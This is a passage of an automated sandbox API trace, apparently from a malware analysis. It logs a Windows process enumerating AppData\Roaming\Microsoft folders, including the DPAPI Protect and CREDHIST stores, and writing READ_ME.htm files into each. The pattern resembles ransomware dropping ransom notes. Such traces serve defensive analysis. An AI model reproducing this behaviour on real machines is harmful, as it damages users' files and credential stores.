ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.408] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.408] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.408] SetErrorMode (uMode=0x0) returned 0x1 [0149.408] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof", lpFilePart=0x0) returned 0x32 [0149.408] SetErrorMode (uMode=0x1) returned 0x0 [0149.408] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\proof\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.409] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.409] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.409] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.409] SetErrorMode (uMode=0x0) returned 0x1 [0149.409] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof\\READ_ME.htm", lpFilePart=0x0) returned 0x3e [0149.409] SetErrorMode (uMode=0x1) returned 0x0 [0149.409] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\proof\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.410] SetErrorMode (uMode=0x0) returned 0x1 [0149.410] GetFileType (hFile=0x1d0) returned 0x1 [0149.410] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a128a8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2a128a8*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.412] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect", lpFilePart=0x0) returned 0x34 [0149.412] SetErrorMode (uMode=0x1) returned 0x0 [0149.412] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\protect\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x30b088f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x30b088f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x30b088f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x30b088f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79a044b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a044b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x60624f40, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="CREDHIST", cAlternateFileName="")) returned 1 [0149.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 1 [0149.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x30b088f0, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x510a9850, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x510a9850, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~2")) returned 1 [0149.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7bba3b70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7bba3b70, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x606bd4c0, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYNCHIST", cAlternateFileName="")) returned 1 [0149.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7bba3b70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7bba3b70, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x606bd4c0, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYNCHIST", cAlternateFileName="")) returned 0 [0149.413] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.413] SetErrorMode (uMode=0x0) returned 0x1 [0149.413] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect", lpFilePart=0x0) returned 0x34 [0149.413] SetErrorMode (uMode=0x1) returned 0x0 [0149.413] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\protect\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x30b088f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x30b088f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.413] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x30b088f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x30b088f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.413] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79a044b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a044b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x60624f40, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="CREDHIST", cAlternateFileName="")) returned 1 [0149.414] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 1 [0149.414] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x30b088f0, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x510a9850, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x510a9850, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~2")) returned 1 [0149.414] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7bba3b70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7bba3b70, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x606bd4c0, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYNCHIST", cAlternateFileName="")) returned 1 [0149.414] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7bba3b70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7bba3b70, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x606bd4c0, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYNCHIST", cAlternateFileName="")) returned 0 [0149.414] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.414] SetErrorMode (uMode=0x0) returned 0x1 [0149.414] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", lpFilePart=0x0) returned 0x62 [0149.414] SetErrorMode (uMode=0x1) returned 0x0 [0149.414] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2b9bd87, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", cAlternateFileName="BE5B4F~1")) returned 1 [0149.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1 [0149.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0 [0149.417] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.418] SetErrorMode (uMode=0x0) returned 0x1 [0149.418] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", lpFilePart=0x0) returned 0x62 [0149.418] SetErrorMode (uMode=0x1) returned 0x0 [0149.419] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.420] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.420] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.421] SetErrorMode (uMode=0x0) returned 0x1 [0149.421] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\READ_ME.htm", lpFilePart=0x0) returned 0x6e [0149.421] SetErrorMode (uMode=0x1) returned 0x0 [0149.421] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.423] SetErrorMode (uMode=0x0) returned 0x1 [0149.423] GetFileType (hFile=0x1d0) returned 0x1 [0149.423] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a1b998*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x2a1b998*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0149.424] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-4219442223-4223814209-3835049652-1000", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-4219442223-4223814209-3835049652-1000", lpFilePart=0x0) returned 0x63 [0149.424] SetErrorMode (uMode=0x1) returned 0x0 [0149.424] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-4219442223-4223814209-3835049652-1000\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-4219442223-4223814209-3835049652-1000\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x30b088f0, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x510a9850, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x510a9850, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.425] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.425] SetErrorMode (uMode=0x0) returned 0x1 [0149.425] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-4219442223-4223814209-3835049652-1000", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-4219442223-4223814209-3835049652-1000", lpFilePart=0x0) returned 0x63 [0149.425] SetErrorMode (uMode=0x1) returned 0x0 [0149.425] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-4219442223-4223814209-3835049652-1000\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-4219442223-4223814209-3835049652-1000\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x30b088f0, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x510a9850, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x510a9850, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.426] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.426] SetErrorMode (uMode=0x0) returned 0x1 [0149.426] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-4219442223-4223814209-3835049652-1000\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-4219442223-4223814209-3835049652-1000\\READ_ME.htm", lpFilePart=0x0) returned 0x6f [0149.426] SetErrorMode (uMode=0x1) returned 0x0 [0149.426] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-4219442223-4223814209-3835049652-1000\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-4219442223-4223814209-3835049652-1000\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.427] SetErrorMode (uMode=0x0) returned 0x1 [0149.427] GetFileType (hFile=0x1d0) returned 0x1 [0149.427] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a22800*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x2a22800*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0149.429] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\READ_ME.htm", lpFilePart=0x0) returned 0x40 [0149.429] SetErrorMode (uMode=0x1) returned 0x0 [0149.429] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\protect\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.431] SetErrorMode (uMode=0x0) returned 0x1 [0149.431] GetFileType (hFile=0x1d0) returned 0x1 [0149.431] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a26dd0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2a26dd0*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.432] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpFilePart=0x0) returned 0x3f [0149.432] SetErrorMode (uMode=0x1) returned 0x0 [0149.432] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\systemcertificates\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, 